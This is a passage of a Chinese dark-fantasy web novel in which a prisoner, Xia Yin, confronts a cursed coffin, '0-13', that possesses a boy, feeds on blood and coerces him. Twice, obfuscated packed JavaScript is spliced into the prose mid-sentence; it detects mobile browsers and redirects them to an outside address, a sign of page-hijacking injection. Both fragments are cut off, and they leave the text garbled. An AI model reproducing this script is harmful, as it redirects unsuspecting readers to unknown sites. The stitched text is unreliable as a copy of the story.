“我好冷……” 在阿尔洛开始复读之前,一只手臂忽然环过了他的肩膀。 夏因没有看他,手臂只是若即若离地搭着,甚至和他还保持着一个身位的距离。 但温热感还是透过衣料,源源不断地从他的手臂传到阿尔洛的心里。 “……谢谢你。” “你的体温,真的很暖。” 阿尔洛悄悄往他身边挪了挪,将脑袋轻轻靠在他肩头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333775|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他感到对方的身体有一瞬间僵硬。 但最终,夏因没有推开他。 监牢里静得能听见彼此的心跳。阿尔洛闭着眼睛,数着那沉稳的律动,渐渐停止了颤抖。 夏因的呼吸逐渐沉缓,似乎也进入了睡眠。 但在阿尔洛看不到的地方,他眸光清醒,没有半分睡意。 他在听,阿尔洛的呼吸声。 “呼——” “呼——” 呼吸节奏存在某种细微的诡异感。 每一次的吸气都更长、更深、更用力,就像……深深嗅闻。 像野兽嗅闻猎物的踪迹。 饕客陶醉于美食的芬芳。 而阿尔洛鼻梁挨着的,是夏因左胸膛那道尚未愈合、又被“0-13”吮吸过血液的伤口。 ……他是“0-13”的“零嘴”吗? 夏因呼吸心跳如常。 他注视着灵柩,眸光变得深沉。 …… …… 夜晚,似梦非梦的昏沉感再一次来袭。 人体倒地的声音接连响起,是源晶监牢之外的看守者,在“0-13”的影响下,全部沉入了睡眠。 夏因和所有人一同歪倒,侧躺在地。 侧躺时面对的,“恰巧”是“0-13”的灵柩。 咯、咯、咯。 棺盖挪开的声音响起。 夏因将眼皮撕开一条细缝。 视野扭曲,遍布重影,现实和幻梦交叠,两种不同的影像同时存在于视网膜上。灵柩的棺盖似乎挪开了少许,又似乎依旧沉睡在锁链的束缚之下。 夏因咬了一下舌尖。 刺痛之下,视野和思绪变得清晰。 果然,疼痛能够对抗“0-13”施加的幻梦。 既然昨晚他能保有被“0-13”舔舐的记忆,还能被阿尔洛的尖叫声惊醒,这说明,只要外界的刺激足够强烈、对抗的意识足够鲜明,便能从“0-13”制造的幻梦中苏醒。 抓挠声和木盖摩擦声都是骗局。 在真实的视野里,“0-13”的棺盖从未被打开,锁链完好无损,灵柩里的东西也并未逃出。 那么……吸食他血液的东西另有其人。 夏因安静地等待着“真凶”现身。 他看到大量鲜血从“储备粮”教士体内淌出,蠕动着滑过地板,被吸引着奔向“0-13”。在触碰到灵柩的底部时,消失不见。 就像某种进食行为。 正餐结束,接下来便是“零嘴”了。 夏因闭上眼,将呼吸和心跳调整到与睡眠等同。 首先感到的,是寒冷。 凉意如同潮水般涌来,无声将他拢入怀中。 衣衫剥落,肌肤袒露在寒冷的鼻息之下。 濡湿慢慢掠过小腹,钻入伤口,啜饮琼浆。 逐渐沉迷—— 砰!! 本该沉眠的猎物骤然暴起,夏因双臂锁紧那只活物,小腹紧绷,翻身,位置倒错,两腿绞紧那东西,将其重重压制在地。 双手钳制咽喉,只需一个错指,便能结果对方的性命。 “……啊。” 那活物眨了眨眼,眸子不再是原本的茶褐色,而是闪烁着幽紫的、魔魅般的光泽。 “被你捉到了呢。” 阿尔洛——或者说“0-13”,笑着说。 明明受制于人,它脸上却洋溢着兴奋的笑容,就像孩子玩捉迷藏时被发现的表情。 那笑容展露在少年稚嫩的脸上,配以嘴角残留的血迹,将纯真和残忍诡异地糅杂在一起。 “你的声音变了。”夏因紧盯着它。 “声…音?” “0-13”疑惑地微微歪头,似乎不懂他为什么专注于这个奇怪的点。 “现在是阿尔洛的声音。”夏因收紧手指,逼视着它,“但早晨,在灵柩里发出笑声的,是另外一个人。” “……啊。” “0-13”恍然,眼珠转动了一下,唇角笑意加深。 “我使用谁的躯壳,就会发出谁的声音啊。” 夏因眼神略微凝固。 ……使用躯壳? 有些强大的诅咒物能够吞噬人类的灵魂,并将人类的躯壳占为己有。 如果声音的主人真的是他的Omega,那么对方很可能被“0-13”附身了,就关在那口灵柩里。 夏因的心脏沉入了谷底。 思索间,一双冰凉的手掌抚上了他的脸颊。 本该截断的手臂,不知何时接回了阿尔洛的躯体,为“0-13”所用。 手指冰冷僵硬,泛着尸体的青白。看似轻柔地捧着他的脸,力道却如同铁箍般不容抗拒。 夏因试图挣脱,却无法撼动分毫,只能维持着这个诡异而暧昧的姿势,定格在“0-13”的上方。 他的手狠狠钳住它的喉颈,它的手则亲密地摩挲着他的脸颊。 视线对撞,时间似乎有一瞬间的静止。 “嗳。” “0-13”直勾勾注视着身下的人类,眼眸亮得惊人,虹膜边缘闪烁着病态的光。 “为了保持清醒,你咬破舌尖,口腔里流了很多血吧?” 一股巨力猛然将夏因拖到它面前,他的鼻尖磕到了“0-13”的鼻梁,对方阴冷的吐息便喷洒在他脸上。 “好甜啊。” “0-13”望着夏因染血的嘴唇,眼神痴迷,笑容沉醉。 “这么美味的东西……我不该浪费的,对吗?” 4. 嫉妒 ——扭断“0-13”的脖子! 这是夏因的第一反应。 不,不行。 捧住他脸颊的这双手,冰冷、僵硬,是死物。 正因为这双手已经死去,“0-13”的力量才能彻底渗入其中,施放出如此诡谲的力量。 杀了阿尔洛,只会给“0-13”平添一具可驱使的新尸体,让自己陷入更糟糕的境地。 那么,他到底该如何自救? 思索间,“0-13”的手指已经撬开他的齿列,长驱.直入。 夏因喉头反射性地痉挛,却被更粗暴地撑开,以便它们里里外外地摸索、揉捏。 “……啊,”它轻声喟叹,半是新奇半是舒服,“你的嘴里好温暖,比胸.膛还要温暖。难怪那个人类想摸你的舌头……” 夏因心脏一沉。 原来这些天,“0-13”看似沉眠,实则一直对外界有所感知。 它全都看到了,透过阿尔洛的眼睛,目睹了教士假借检查之名,探入他口腔的手指。 夏因狠狠咬住入侵者,想像之前一样咬断它们。 但他做不到。 这双手坚硬、冰凉,如白骨,如石雕。人类的唇齿在它面前脆弱而柔软,就连一丝裂纹都无法造成。 但“0-13”竟因此轻轻笑了起来,手指略微蜷起,回缩了一小下。 “好痒。”它眉眼弯起,“你喜欢这样的游戏?” 语气里没有丝毫戏谑之意,“0-13”是当真这样以为。 用尽了全力,却被当作游戏……不,更糟,只是布偶被撕碎前,棉线崩断的悦耳音响。 人类和0级诅咒物之间的差距,何止天堑。 夏因血液冰凉。 ……被“0-13”盯上之后,他真的还能自救吗? 短暂的回缩之后,“0-13”调整了入侵的角度。这一回,它瞄上了人类的咽喉深处的软腭。 指甲锋利而冰冷,搔刮过软腭时,掀起刺痛的痒意。 夏因的生理性泪水不受控制地涌出,打湿了它垂落在他脸上的发丝。 它又笑了,似乎在为给予他相同的痒意而倍感欣悦。 冰凉的指尖流连过口腔内壁,指腹反复按压着舌根,感知黏膜下的血流,以及人类咽喉最细微的颤抖。 即便做出如此狎亵的举动,它的眼神却有一种动物般的纯净与天真。 瞳仁像狩猎中的大型猛兽般扩大,专注观察着猎物每一声的急促呼吸、每一次的反射性痉挛。 为了看得更清楚,它俯身靠近。 睫毛扫过夏因的唇,呼吸就吹拂在他的喉颈间。 夏因的思维急速运转着,然后忽然间,灵光一现。 呼吸……对,是呼吸! 在他急促的喘息声之下,险些被忽略的,是“0-13”的呼吸。 缓慢、深沉,恰如沉在酣梦之中。 那不是“0-13”的呼吸。 那是人类阿尔洛睡梦中的呼吸! 在大封印术的制约之下,“0-13”能够控制死物,能够控制酣梦之人,却不一定能掌控一个清醒的、有自主意识的活人! 夏因勉力挣动唇舌,发出模糊不清的呼唤。 “……阿尔洛,醒醒!” 一抹惊讶撞入“0-13”的紫色眼眸。 下一瞬,紫色的眼瞳被迫翻了上去,眼珠旋转,露出了阿尔洛的茶褐色眼瞳。 钳制夏因的手指出现了一刹那的松动。 趁此机会,夏因挣脱了它的手,重获自由。 然而,紧接着,阿尔洛茶褐色的眼瞳迅速染上了困倦,向下低垂,而“0-13”的紫色眼珠,重新占据了主导权。 夏因可不会等待这场拉锯战走向失败。 ——啪! 清脆,利落,夏因一巴掌甩在了阿尔洛脸上。 “看着我,阿尔洛。” “如果还想活命,就清醒点!” 厉喝声劈开迷雾,阿尔洛当即一个激灵被吓醒,痛呼着抬手捂脸。 他的双手却已经不见了。 那对苍白的死物跌落在地,和它们一同离开的,还有“0-13”的意识。 ……结束了。 夏因喉结不适地滚动着,口腔里还残留着被“0-13”侵犯的感觉。 但他从0级诅咒物手里活了下来。 “……你好猛。” 哥哥捂着胸口,满脸不可思议。 “而且,如果我没看错,你刚才那一巴掌扇过去的时候,是‘0-13’的意识在主导身体。” “呃,也就是说……你抽了0级诅咒物一个耳刮子。” “是吗?”夏因掀起眼帘,眸底凝着一层薄霜。 他的唇色因亵玩而泛着糜艳的红,唇线缓缓扯开一道弧度,似乎是个冷笑。 “正合我意。” 眩晕感如同潮水般涌来。 他抬手按住太阳穴,耳畔却再度响起它的轻笑。 是灵柩里的“0-13”。 夏因抬脚,鞋跟重重碾上那只苍白的手,像是要将它的笑声也一同碾碎。 它却笑得愈发欢愉,潮湿的、缠绵的喉音如同毒蛇吐信般爬进他的耳道。 “啊……有人来了。” 它的音色低沉微哑,语调却轻柔含笑,像梦呓、爱语,或是叹息。 和夏因梦境里的Omega如出一辙。 该死的蛊惑人心。 “你好像…很关心这个声音的主人。” 夏因呼吸一滞。 轻笑声染上了某种甜蜜的邪恶意味。 “我知道…他是谁。” “留在我身边…我将全部告诉你。” 任由他践踏的手掌忽然蠕动起来,亲昵地摩挲着他的脚掌。 然后蜿蜒而上,圈住了他的脚踝。 尸体冰冷黏腻的触感让夏因恶心,他呼吸急促,眩晕感愈发强烈。 忽然间,天旋地转。 阿尔洛惊呼一声,扶住了摇晃的夏因。 “天啊!你的脸色好差……发生了什么?” 夏因推开他,强撑着自己站稳。 “没事。只是…有点累。” 他伤重未愈,而且已经很久没有吃过食物、喝过水。 按照常理,挨饿对生命力顽强的Alpha来说不算什么,但夏因却产生了某种错觉,仿佛他饥饿的胃部在蚕食着周围的脏器,甚至顺着脊椎将消化液注入大脑,不断侵蚀着他的理智。 黑暗一点点蔓上了视野。 在最后的意识里,他听到了源晶监牢之外,看守者们惊喜的欢呼声。 “主教回来了!” “我们得救了!” 源晶监牢的门洞开,有人走了进来,步履匆忙,隐藏着几分焦急。 夏因只来得及捕捉对方的一截袍角,便彻底陷入了黑沉。 …… …… *** 蜜糖。 是甜的。 在口舌间融化,润过喉咙,为几近枯竭的身体汇入生机。 夏因徐徐睁开眼。 密闭的告解室里,主教模样的男性Alpha半跪在他身侧,将手臂和肩膀当做他的靠枕,垫高他的后脑,一点一点将蜜糖水喂入他口中。 夏因要坐起来:“你……” “别动。”“主教”按住他,将一枚点心塞进他嘴里。 “唔。”夏因脸颊被塞满鼓起。 在小蛋糕的对比下,他忽然觉得说话没那么重要了,索性躺回人肉靠垫,闭上眼,专心嚼咽。 “主教”从教袍下各个角落搜罗出小包装食物,拆开放好,以备夏因食用。 食物迅速补充了他的体力,他觉得噎,一抬手,“主教”便将水囊塞进了他手里,熟练得仿佛这么配合过上百遍。 “你一点都不惊讶。怎么认出来的?”“主教”略微懊恼,“我以为这次的伪装做得足够好。” “我们认识了十二年。”夏因舔掉唇边残留的甜味,“你毛还没长齐的时候,就在给我当靠垫了。” “主教”发出一声鼻音,似乎因为这个答案中隐含的亲密意味而感到满足。 他将一张写满人名的名单递到了夏因面前。 “我拿到了战争主教和他身边亲信的姓名,以及他们曾经犯下的罪行,保证真实完整。可惜,战争教皇的真名保护严密,无从下手。” 夏因目光扫过一行行包含着教名、自取名、家族名在内的长串姓名,并留意了一下他们大同小异的罪名,记下之后,随手烧掉。 “辛苦你了,安德烈。”夏因抬眼,“……变回来做什么?” 出现在他面前的,不再是战争教会的主教,而是另一名年轻男性。 五官英俊刚硬,斜飞的眉宇微端断裂,有几分桀骜。黑发黑瞳,深色皮肤,诡戾的墨绿色神纹爬满了大半张脸。 “顶着别人的脸和你说话,很奇怪。” 安德烈直勾勾盯着他的眼睛:“怎么,觉得吓人,看着我食不下咽?” 夏因面无表情地将橙子味小蛋糕塞进嘴里,脸颊一鼓一鼓:“等你见到‘0-13’的分尸现场,就不会这么说了。” “……‘0-13’。”安德烈转移注意力,表情瞬间凶狠,“你本该安坐在城堡里念念名单,而不是冲到诅咒物面前以身犯险。教皇手里就这么缺人?派你去送死?” “老师这么安排总有他的理由。”夏因问,“有搜集到‘0-13’的情报吗?” “外界知道的并不比你多。”安德烈皱眉,“但我听到了一个有趣的东西——诅咒物‘2-47’,‘许愿灵柩’。” “‘许愿灵柩’?”哥哥忽然从安德烈背后冒了出来,“‘0-13’也被叫做‘许愿灵柩’。巧合吗?” 夏因问:“能不能查到‘2-47’现在的位置?” “下落不明。”安德烈说,“我们的人去圣所下面打探过,‘2-47’凭空消失了。” “有蹊跷。”哥哥搭腔,“它们肯定关系不浅,不然怎么‘2-47’一消失,‘0-13’就刚好出现?” 夏因“嗯”了声:“说说‘2-47’。” 安德烈沉声开始讲述。 “‘2-47’的外形是一口中空的黑色灵柩,能够引诱受害者向它许愿,并满足受害者的任何愿望。只不过,愿望的完成大多是扭曲的。” “当它完成受害者的三个愿望之后,便会将其拖入灵柩内部,予以处死。处死过程不可打断、不可解除。” “受害者将死于均匀切割,并损失全身超过70%的新鲜血液……” “这也太像了。”哥哥击掌,“说不定‘0-13’就是加强版的‘2-47’!” “或许我们可以参考‘2-47’来应对‘0-13’。”夏因说,“‘2-47’的封印措施和使用方式是什么?” “只要远离智慧生物,‘2-47’就会失活。”安德烈说,“对于使用它,圣所给出了三条建议:” “第一,不要轻易向‘2-47’许愿。” “第二,不要相信它的任何话语,那多半是谎言。” “第三,不要相信它让你看到的任何东西,那极有可能是幻觉。” “文书里记载了这样一个案例:一名神官曾经试图向‘2-47’许愿,复活他的Omega。复活后的Omega栩栩如生,言行谈吐与生前完全一致,如从前一样在阳台上种满花朵,并为神官制作记忆中的美食。” “神官认为,他的所听、所见、所感全部是真实的,数年的怀疑和试探之后,他终于对Omega的真实性坚信不疑。” “但在其他人眼中,是神官一个人在自言自语,一个人做两份食物喂给自己,一个人在阳台上种满鲜花。” “所谓的Omega,只是他一个人无比真实的幻觉。” “有点老生常谈的故事……等等,夏因,你在看什么?” 安德烈才发现,夏因吃东西的动作停了下来,正专注地看着他背后的什么东西。 那里明明是空的。 “……这个幻觉听起来完完全全是在描述我啊。”哥哥躲在安德烈背后,有点尴尬地挠了一下脸。 “而且,也很像你一直在寻找的那个Omega……” 哥哥和安德烈用同样关切的眼神,同时提出了疑问: “夏因——你该不会已经向它许过愿了吧?” 夏因垂下眼帘。 告解室有片刻寂静。 “……没有。” 夏因抬眼,翠绿的眸子有种异样的坚定。 “我分得清幻觉和真实。” 哥哥和安德烈又同时回答:“你最好是这样。”“那我就放心啦。” 烛光映照在他们的侧脸上,夏因望着他们,眼底掀起了粼粼波光。 他忽然回想起了很久以前——他和哥哥下棋,安德烈变成一只黑狼,在壁炉边打盹。 快要分出胜负的时候,炉火点燃了狼尾巴,安德烈嗷地一声开始满屋乱窜。 棋盘翻倒,狼毛飘飞,孩子的笑声传进了静谧的雪夜。 那时候他们还小,整日无忧无虑,谁都没有想过未来会以这样的姿态重聚,共同应对一件0级诅咒物。 夏因绷紧了唇角。 “……跑题了。”他道,“说回‘0-13’。” “通过这段时间和它的接触,可以发现‘2-47’和‘0-13’之间还有很多差异。” “‘0-13’拥有操控死物的能力,这一点是‘2-47’所不具备的。它还能够营造范围性的幻觉,并操纵处于睡梦中、且自我意志薄弱的活人。我尝试过唤醒受害者进行规避,暂时可行。” 安德烈:“你是说,它能在受害者灵魂不稳固的情况下趁虚而入,驱使受害者的躯体?” “就目前而言是这样。”夏因说,“不过,大封印术还在生效,等到完全解封,它或许会变得更加强大。以‘0-13’影响人类心智的特点来看,或许……” 安德烈:“或许什么?” 或许它能够逐渐蚕食人类的灵魂,最终完全取代阿尔洛的意识。 “……没什么。希望我的猜测是错的。” 夏因很快转了话题。 “先放下‘0-13’的能力不谈。我发现,它拥有心智,而且心智正在成长。” 安德烈:“成长?” 夏因:“它在观察,在学习,向人类学习。就像人类的婴儿,不,比婴儿的学习速度快得多。” “……你看到了什么?”安德烈问。 “我刚醒来的时候,有一名战争教会的教士,将手指放进了我的嘴里。” “后来,‘0-13’模仿那个教士,做了同样的事。” “我能感觉到,它……在好奇。” 夏因神色平静地陈述着自己的遭遇。 安德烈的脸色却异常难看。 他腾地站起身:“该死!我要杀了那个异教徒!!” “回来。小声点。”夏因觉得他完全抓不到重点,“我是个Alpha。而且我已经杀了他。” “……还有‘0-13’!” 安德烈粗喘了两下,转而意识到毁灭0级诅咒物是无稽之谈。 “但我至少可以带你远离这里!带你回家!不管教廷这个烂摊子,回到我们的封地——伊格尼斯家族的壁垒坚不可摧,就算是‘0-13’,也无法染指我们的净土!” “……安德烈。” 夏因睫羽低垂,眼下罩着云絮般的影。 “自那场大火以后,家族就不再是我们的庇护所了。” “我们的家早就不在了。”他抬起眼,眸光冷锐坚毅,“但这世上还有其他人的家。” “‘0-13’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但现在,他还活着站在这里,带着一道即将愈合的伤疤。 “总之我不会死。” 闻言,安德烈没好气地哼了声。 他拔下自己的一根手指,如同捏泥土一般,揉成肉丸。 夏因刚想继续开口说服他,安德烈便将丸子塞进他嘴里,堵住了他的话。 肉丸是安德烈身体的一部分,与本体之间互有感应。有它在夏因体内,安德烈就能感知到夏因的具体位置,甚至是身体情况。 如泥土一般分裂、变形,完成伪装、潜行、追踪,是安德烈自身神纹的能力,来自于大地之神的馈赠。 “真正的主教应该快回来了,我得走了。”安德烈将脸捏回主教的长相,“该死,好不容易把你捞出来,又要亲手将你送进去……” 一离开告解室,安德烈阴暗狰狞的表情,便变回了战争主教的勃勃野心。 看守地下牢房的教士们恭敬地迎回了他们的主教,却没想到,“主教”反手向他们撒出了一捧蝴蝶鳞粉似的东西。 教士们们立刻变得神色恍惚,昏昏欲睡。 安德烈催眠了他们,病给他们植入了另一段不会引起疑心的记忆。 看着“主教”熟悉的面孔,教士们毫无防备地点头应是,各自陷入了安眠。 夏因走进了源晶监牢。 安德烈忍不住回头看他。 “你该走了。”夏因说,“还是说,有别的什么事?” 安德烈没事找事:“呃……对了。那个小孩。” 他用下巴尖点点阿尔洛,“他是怎么回事?” “我刚进去的时候,看到他正在抱着你掉眼泪。我想带走你的时候,他竟然敢扑我的腿,试图阻止我。他不是战争教会的人吗?” “嗯。”夏因反应平平,“他叛变了,现在是我的人。” “……那小子有点诡异。”安德烈摆出一张臭脸,“碍眼得很。你离他远点。” 夏因没说什么。 安德烈离开后,地下牢房重新陷入了寂静。 夏因审视的目光久久落在阿尔洛脸上。 少年睡得正酣,没长开的娃娃脸一派恬静,一头羊毛卷柔软纤细,让人联想起羊羔。 苏醒时,毛绒绒的睫羽一眨、一眨,茶褐色的眼眸里蕴着一层惺忪的泪。 “我还活着?”阿尔洛腾地坐起身,“啊,嘶……脸好痛。” 看到夏因也安然无恙之后,阿尔洛松了口气,有些害怕地问:“趁我睡着的时候,‘0-13’、它、难道对我的脸做了什么?” 夏因盯着他的眼睛:“没有。” “真的吗?它没有切我的肉,抽我的血,也没有让我毁容?”阿尔洛求助般地望着他,“我、我碰不到脸,没有感觉,你能帮我摸摸它吗?” 他本以为,以夏因的冷淡,一定不会理会他。 直到一抹温暖,敷上了他刺痛的左脸。 夏因的手正轻抚在他脸侧。 阿尔洛眼里闪过一抹惊讶,垂了垂眼,羊羔般轻蹭着他的掌心。 喟叹着,“你的手好温暖。” “……是吗?” 夏因的眼神愈发冰冷,手指猛地用力,捏按少年肿起的脸蛋。 “现在又怎样?” 阿尔洛“啊”了一声,原本怯懦的眼睛里,除了痛意,还添了一抹笑意。 他更深地贴近了夏因,送上自己的脸,成为对方的掌中之物。 “你总是弄得我好痛。” 他梦呓般地说,“嗳,下回轻一点,好吗?” 明明还是茶褐色的眼睛。 却操着熟悉到诡异的腔调。 夏因的眸子里淬了冰。 ……最糟糕的猜测应验了。 “0-13”不仅会驱使肉.体,还会污染人的灵魂。 它和阿尔洛之间的界限正在变得越来越模糊,它潜移默化地侵蚀着阿尔洛原本的人格,将他变成另一个人,变成“0-13”。 污染的速度快得惊人。 就在这时,夏因脚踝一凉。 “0-13”的手爬上来,圈紧他长袍下的足踝,手指冰冷,在他的肌肤上来回滑动,力道不像揉捏,更像是舔舐,如同滑腻的长舌。 反射性地,夏因提腿便踢。 “嘘……别动。” “0-13”轻声安抚。 “刚才想带走你的那个人,还没逃远吧?” 它唇角的弧度缓缓扩大。 “如果我把他的踪迹告诉其他人类——他会不会被抓回来,陪我们一起关在这里?” “灵柩先生今晚要享用的羔羊,还没有着落呢。” 夏因猛地僵硬。 “……你……!” 继抛饵之后,“0-13”又学会了威胁! “0-13”愉悦地弯起眼眸。 它垂下头,鼻尖贴着夏因的脖颈,深深汲取着他的味道,一路向下,如同无可救药的瘾.君子般,在前胸伤口处短暂徘徊了稍许,最后停留在上腹。 “那个人……在你体内留了点东西。” 死尸般的手,同时轻点在了夏因的上腹。 夏因的胃部一阵痉挛。 “他还向你说我的坏话。” “0-13”凑在他耳边,声音压得很低,语气里夹杂着委屈,和某种让人不寒而栗的东西。 “我不喜欢他。也不喜欢他在你身体里留下东西。” 手指如刀刃般划过胸腹,留下一道冰冷的痕迹。 “0-13”抬脸,眼神阴鸷得可怕。 然而在望向夏因的一瞬间,它又笑了,笑得温柔缱绻。 “嗳。” 它半是撒娇地说。 “我把手伸进去,帮你把他的东西取出来,好不好?” 5. 约定 “0-13”的手流连不去。 指甲圆润,修剪齐整,看似全然无害。 却能轻易将他开膛破肚。 指腹划过肌肤,掀起的不是麻痒,而是随时可能会到来的剧痛。 “你的呼吸…变短促了。” “0-13”观察着他上下起伏的胸腹,语气好奇而玩味。 “是愤怒吗?” “还是……在害怕?” 夏因咬牙,屏住了呼吸。 “0-13”的脸猛然在视野里放大,它猛然贴近了他,攫紧他的视线,观察着他眼睛、他的脸。 它将他脸上的每一丝变化都撕开揉碎,分析他的情绪,解剖他的思维。 离得太近,它虹膜里的纤维分毫毕现。 茶褐色的结缔组织之间夹杂着紫色血管,藏匿起非人类的冰冷和诡魅。 “别怕……” “我会缝好你的。” 它绽开安抚的笑容,指甲缓缓陷入皮肉。 在血花迸溅之前,却忽然停了下来。 “唔……?” “0-13”低下头,看到夏因攥住了它的手。 夏因盯着它的眼睛:“你还没告诉我,灵柩里那个声音的主人是谁。” 如同一具被抽掉发条的人偶,“0-13”短暂地静止了。 它怔怔注视着自己被夏因握住的手,没有出声回答。 就像在发呆。 夏因将它的手攥得更紧,用力到手指骨节发出咔咔的声响。 它没有反抗,而是更热烈地回握他,手指轻易穿过他指间的缝隙,十指交缠,亲昵而密不可分。 “0-13”心情很好地望向他,笑容竟有几分人类少年般的明媚。 “你刚才说什么?” 完全是走神的样子。 夏因皱了皱眉:“你答应过,只要我留下,就告诉我有关那个人的全部消息。” 它慢慢眨了一下眼,流露出了明显的为难。 “可我还不想告诉你。” 它垂下睫毛,语气低落。 “如果现在告诉你,你就要离开我了。” 夏因耐下性子:“你准备什么时候告诉我?” “0-13”抬眸注视他,目光直白赤.裸,喉结饥饿地滚动了一下:“等我尝够了你的味道,再告诉你,好吗?” 夏因冷笑:“被你厌弃的玩具,下一秒便会成为投喂给‘灵柩先生’的‘羔羊’。” “是啊。”它轻笑着凑近,鼻尖贴着他颈侧的动脉,“这样,你不就能永远都和我在一起了吗?” 夏因别过脸,脖颈处的皮肤激起细小的战栗。 “……可以。”他声线毫无波动,“但你不能取出我胃里的东西,也不能将他来过的消息泄露给其他人。” “0-13”脸上有点不情愿。 但它看了看和夏因交握的手,又被取悦到了。 “好啊。那就这么约定了。” 手指内侧的软肉,被冰冷的非人之物摩挲着。 夏因却无暇顾及。 不可思议,他想,他刚才竟然在和一件0级诅咒物讨价还价。 诚实和守信,人类身上不存在的美德,却诡异地出现在了“0-13”身上。 它是坦诚的,不会隐藏秘密,所有的心思都写在脸上。 或许以它的强大,根本不屑于向一个渺小的人类撒谎。 也或许,于它而言,狩猎人类就像人吃饭饮水一样稀松平常、理所应当,并不算什么需要遮掩的坏心思。 正思索着,与他交缠的手指忽然微微一弹。 阿尔洛陡然退去了笑容。 他双眸圆瞪,瞪着两人交握的手,脸蛋因窘迫而绯红,慌张且不知所措。 “手…手!你的手,我的手,握在、握在一起!” “阿尔洛?”夏因眼神探寻。 阿尔洛像被烫到般,猛地抽回了双手,低头捂脸。 “天啊,我在做什么?我都说了些什么话啊……” 是真正的阿尔洛。 夏因松了口气,随即发现了什么。 阿尔洛道出了他的疑惑:“我的手怎么长出来了?不,是凉的,是死掉的手……它、它掰不掉!” “你能操控它们?”夏因问。 “……好像可以。”阿尔洛依次动了动十指,“比原来灵活多了。” “这或许是‘0-13’深度蚕食阿尔洛的表现。”哥哥猜测,“而且你注意到了吗?他的眼睛。” 夏因“嗯”了一声:“昨夜‘0-13’和阿尔洛还在分别使用不同的眼瞳,但刚才,阿尔洛的虹膜里渗进了紫色。或许,‘0-13’的血液已经在他体内开始流淌。” “真可怕,这才只过去了两天啊。” 哥哥抱着胳膊打了个冷颤。 “而且……你说会不会,最终完成寄生之后,阿尔洛会从心到身、完完全全变成‘0-13’的样子?” 光是想象这个场景,夏因背后便竖起了寒毛。 就在这时,嘈杂声打破了地牢的寂静。 是战争教会的教皇赶到了。 夏因将注意力转向他。 战争教皇纳萨尼尔三世,是个让人见一眼就永远不会忘记的存在。 他的眼眶内没有眼球,取而代之的是两枚猩红色的长钉,从眼眶捅入,由后脑穿出。 眼睛、鼻子、耳朵、手指,狰狞而无序地排布着金属钉。他仿佛在体内饲育了一株血荆棘,血荆棘茁壮成长,破体而出,在他苍白的肌肤上穿刺出无数血洞。 透过源晶监牢,纳萨尼尔三世用两枚长钉“看”着向其中的漆黑灵柩。 “你们就把‘0-13’放在这里?”他质疑。 “是的,冕下。”主教恭敬低头,“不够安全,但这里已经是整座城市里防护最严密的监狱了。” “你还是这么胆小得令人失望。”纳萨尼尔三世笑了,“有时候,我都怀疑你是不是我主的信徒。” 主教神情惶惑。 纳萨尼尔三世舔了舔嘴唇:“把‘0-13’放出来吧。” 神职者们听令打开了监牢的门。 “0-13”被抬出,夏因紧随其后。 “他是光明教会的幸存者,知道‘0-13’的封印手段。”主教介绍,“冕下,我们没有擅自问询有关‘0-13’的情报,一切留待您亲自审问。” “没必要。” 纳萨尼尔三世转身。 “备好我的战车,调集全部教士,发动信徒。我们即刻便启程。” 夏因心中一沉。 他本以为纳萨尼尔三世见到“0-13”之后,会立即加固锁链上的大封印术,将失控的风险降到最低——换作任何一名正常的人类都会这样做。 但纳萨尼尔三世似乎并没有这个打算。 “冕下?”主教不确定地说,“‘0-13’的危险性不可小觑,毫无防护地带到外界,一旦失控,必定会血流成河。更何况,如此大张旗鼓地押运,光明教廷或许会发现我们的行踪,半路动手。” “——这才是我想看到的啊。” 纳萨尼尔的嘴角几乎咧到了耳根。 “你们都太谨慎了。‘0-13’,如此强大又美丽的兵器,为什么要束缚它?为什么要压抑它的本性?” “如果直接将它带回圣所,再找活人来做实验,想要探知它的美妙之处,可就太慢了。” 他张开钉满金属的双臂,大笑出声。 “我们应该以战争迎接它的出生,用鲜血为它洗礼!” “凡人、光明教廷、其它所有觊觎它的存在,都是挖掘它潜力的最佳实验品!!” 疯狂的大笑声回荡在地牢,与此相伴的,竟还有铁马兵戈杀伐之声。 神性沸腾,所有信徒如见血的野兽般呼吸粗.重起来,眼白暴出血丝,对战争的狂热渴望压倒了任何恐惧。 “战争与我们同在!” “撕碎他们!” “不死不休!” 吼声响彻地牢。 夏因鼓膜刺痛,口中泛起了腥甜。 “糟了,是战争之神的呓语!”哥哥满脸担忧,“夏因,你怎么样,能撑住吗?” 夏因没有回答,全力稳固信仰,抵御呓语的污染。 像纳萨尼尔三世那样实力登峰造极的九纹神职者,一旦释放出足够浓郁的神性,便能模拟出神祇的呓语。 来自战争之神的呓语声,能够为战争之神的信徒烙印神纹,提升力量,是最为珍贵的恩典。 然而,呓语声对异教徒却是一场噩梦。 根据“信仰唯一性”守则,人类无法同时承受多位神祇的力量,一旦选定某位神祇,便不能更换信仰,更不能聆听其它神祇的呓语,或是烙印其它神祇的神纹。 如果不幸听到其他神祇的呓语,便会引发“排异反应”。 轻则精神错乱,重则爆体身亡。 而那些只烙印了一道神纹的神职者,比如夏因,信仰之锚不稳固,受到呓语的影响极大。 不能再这么继续下去了。 在被排异反应击倒之前,夏因打断了纳萨尼尔三世。 “……纳萨尼尔!” 纳萨尼尔三世侧过脸,第一次注意到这个神性微弱的俘虏。 夏因嗓音嘶哑,直视一教之首,双眸燃烧着碧绿的冷焰。 “纳萨尼尔,你太狂妄了。你根本不清楚‘0-13’是多么可怕的东西。” “它会悄无声息地钻进你的躯壳,蚕食你的灵魂,把你变得不再是你,把你变成和它一样可怕的怪物!” 狂欢声渐止,被呓语冲散的、对0级诅咒物的恐惧,重新笼罩在了每一个人心头。 